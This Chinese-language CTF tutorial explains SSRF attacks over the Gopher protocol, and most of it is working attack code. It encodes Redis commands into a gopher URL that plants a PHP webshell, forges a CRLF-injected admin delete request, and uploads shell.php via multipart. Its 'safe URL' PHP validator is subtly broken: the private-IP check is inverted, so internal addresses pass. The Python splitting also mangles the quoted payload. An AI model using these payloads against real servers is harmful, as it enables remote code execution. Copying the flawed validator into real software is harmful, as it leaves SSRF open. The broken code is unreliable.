CTF竞赛中的SSRF漏洞实战：Gopher协议高级利用技巧
在网络安全竞赛中，服务器端请求伪造(SSRF)一直是高频考点，也是实际渗透测试中的高危漏洞。不同于基础的HTTP协议利用，Gopher协议因其灵活性和低层特性，常被用于构造复杂请求来绕过各种限制。本文将带您从零开始，通过实战案例深入掌握这一技术。
1. SSRF漏洞与Gopher协议基础
SSRF漏洞的本质是攻击者能够诱使服务器向非预期目标发起网络请求。当目标服务器对127.0.0.1或内网地址有访问限制时，Gopher协议往往能成为突破防线的利器。
Gopher是一种古老的互联网协议，它允许客户端通过单个TCP连接发送多行文本指令。现代浏览器已不再支持，但许多服务器库仍保留兼容性。正是这种"被遗忘"的特性，使其成为SSRF攻击的理想载体。
关键特性对比：
| 特性 | HTTP协议 | Gopher协议 |
|---|---|---|
| 请求复杂度 | 相对简单 | 可构造任意TCP流量 |
| 头部处理 | 自动处理 | 需手动构造 |
| 端口灵活性 | 通常80/443 | 可指定任意端口 |
| 现代支持度 | 广泛支持 | 部分后端服务仍兼容 |
| SSRF利用难度 | 较低 | 较高，但绕过能力更强 |
在CTF比赛中，Gopher协议常被用于：
- 访问受限的本地服务(如Redis、Memcached)
- 构造特殊的POST请求绕过过滤
- 实现文件上传等复杂操作
- 与CRLF注入结合实现更高级攻击
2. 环境准备与工具链配置
实战前需要准备适当的工具环境。以下是推荐配置：
# 安装基础工具 sudo apt update && sudo apt install -y curl netcat tcpdump python3 # 安装Burp Suite Community Edition (可选) wget https://portswigger.net/burp/releases/download?product=community -O burp.sh chmod +x burp.sh && ./burp.sh必备工具清单：
网络分析工具：
- Wireshark：可视化网络流量分析
- tcpdump：命令行抓包利器
- ngrep：网络层正则匹配
请求构造工具：
- cURL：命令行HTTP客户端
- netcat：网络瑞士军刀
- socat：高级网络连接工具
编码工具：
- xxd：十六进制查看/编辑
- base64：编解码工具
- python：自定义脚本处理
提示：在CTF比赛中，通常限制外部工具安装，建议提前熟悉纯命令行操作方式。
3. Gopher请求构造实战
假设目标场景：需要通过SSRF漏洞访问本地监听的Redis服务(6379端口)，但服务器过滤了127.0.0.1和常见端口号。
3.1 原始Redis命令构造
首先准备要执行的Redis命令：
SET flag "HACKED" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system($_GET['cmd']);?>" SAVE3.2 转换为Gopher格式
将Redis命令转换为Gopher协议需要的格式：
import urllib.parse redis_command = """SET flag "HACKED" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system($_GET['cmd']);?>" SAVE """ # 添加Redis协议前缀 formatted = "" for cmd in redis_command.split("\n"): if not cmd: continue parts = cmd.split(" ") formatted += f"*{len(parts)}\r\n" for part in parts: formatted += f"${len(part)}\r\n{part}\r\n" # URL编码 encoded = urllib.parse.quote(formatted) gopher_url = f"gopher://127.0.0.1:6379/_{encoded}" print(gopher_url)3.3 三层URL编码绕过
许多SSRF过滤会检查URL中的特殊字符，因此需要进行多层编码：
triple_encoded = urllib.parse.quote(urllib.parse.quote(urllib.parse.quote(formatted))) final_url = f"http://vulnerable-site.com/ssrf.php?url={triple_encoded}"编码过程解析：
- 第一层：确保Redis命令中的空格、换行符被正确编码
- 第二层：防止WAF检测到编码后的%字符
- 第三层：应对可能的二次URL解码逻辑
4. 高级利用技巧
4.1 结合CRLF注入
Gopher协议天然支持CRLF(回车换行)注入，可用于伪造HTTP头：
gopher://127.0.0.1:80/_POST%20/admin/deleteAll%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0ACookie:%20session=admin%0D%0AContent-Length:%204%0D%0A%0D%0Atrue对应原始请求：
POST /admin/deleteAll HTTP/1.1 Host: 127.0.0.1 Cookie: session=admin Content-Length: 4 true4.2 文件上传利用
构造文件上传请求的要点：
- 准确计算Content-Length
- 正确处理multipart边界
- 考虑服务器可能的大小写敏感
示例模板：
gopher://127.0.0.1:80/_POST%20/upload.php%20HTTP/1.1%0D%0AHost:%20127.0.0.1%0D%0AContent-Type:%20multipart/form-data;%20boundary=----WebKitFormBoundaryABC123%0D%0AContent-Length:%20321%0D%0A%0D%0A------WebKitFormBoundaryABC123%0D%0AContent-Disposition:%20form-data;%20name="file";%20filename="shell.php"%0D%0AContent-Type:%20application/octet-stream%0D%0A%0D%0A<?php%20system($_GET['cmd']);?>%0D%0A------WebKitFormBoundaryABC123--%0D%0A5. 防御与检测方案
了解攻击手段后，开发者应采取以下防护措施：
服务器端防护：
- 严格校验用户输入的URL
- 禁用非常用协议(Gopher、FTP等)
- 实施网络层隔离
- 使用白名单校验目标地址
代码示例：安全URL校验
function isSafeUrl($url) { $parsed = parse_url($url); // 协议白名单 $allowed_schemes = ['http', 'https']; if (!in_array(strtolower($parsed['scheme']), $allowed_schemes)) { return false; } // 域名/IP黑名单 $forbidden_hosts = ['127.0.0.1', 'localhost', '0.0.0.0']; if (in_array(strtolower($parsed['host']), $forbidden_hosts)) { return false; } // 内网IP段检查 $ip = gethostbyname($parsed['host']); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { return false; } return true; }在实际CTF比赛中遇到SSRF题目时，建议按照以下流程排查：
- 确认是否存在SSRF漏洞
- 测试各种协议支持情况(HTTP/HTTPS/FTP/Gopher等)
- 尝试绕过IP/端口限制
- 构造精确的协议请求
- 必要时进行多层编码
掌握Gopher协议的高级利用需要大量实践，建议搭建本地测试环境反复练习。我在实际比赛中发现，许多队伍失败的原因不是不知道技术，而是对协议细节把握不够精确，比如忘记计算Content-Length或错误处理换行符。
